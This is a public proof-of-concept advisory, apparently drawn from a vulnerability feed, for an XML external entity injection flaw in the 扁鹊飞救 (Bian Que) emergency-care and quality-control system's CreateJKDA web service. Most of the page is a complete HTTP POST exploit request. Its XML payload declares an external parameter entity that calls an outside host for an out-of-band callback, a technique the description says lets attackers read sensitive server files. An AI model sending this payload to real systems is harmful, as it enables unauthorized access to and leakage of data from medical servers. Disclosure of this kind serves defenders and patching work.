扁鹊飞救智能急救与质控系统 /AppService/BQMedical/WebServiceForFirstaidApp.asmx/CreateJKDA XML 外部实体注入漏洞

2025-07-09 扁鹊飞救 PoC Public

Description

扁鹊飞救智能急救与质控系统存在XML实体注入漏洞，攻击者可以通过构造恶意的XML请求读取服务器上的敏感文件，可能导致信息泄露或其他安全问题。

PoC

POST /AppService/BQMedical/WebServiceForFirstaidApp.asmx/CreateJKDA HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Length: 136

requestXml=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://fntcyekkma.lfcx.eu.org"> %remote;]>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Bian Que Fei Rescue Intelligent First Aid and Quality Control System /AppService/BQMedical/WebServiceForFirstaidApp.asmx/CreateJKDA XML External Entity Injection Vulnerability

References

Related Vulnerabilities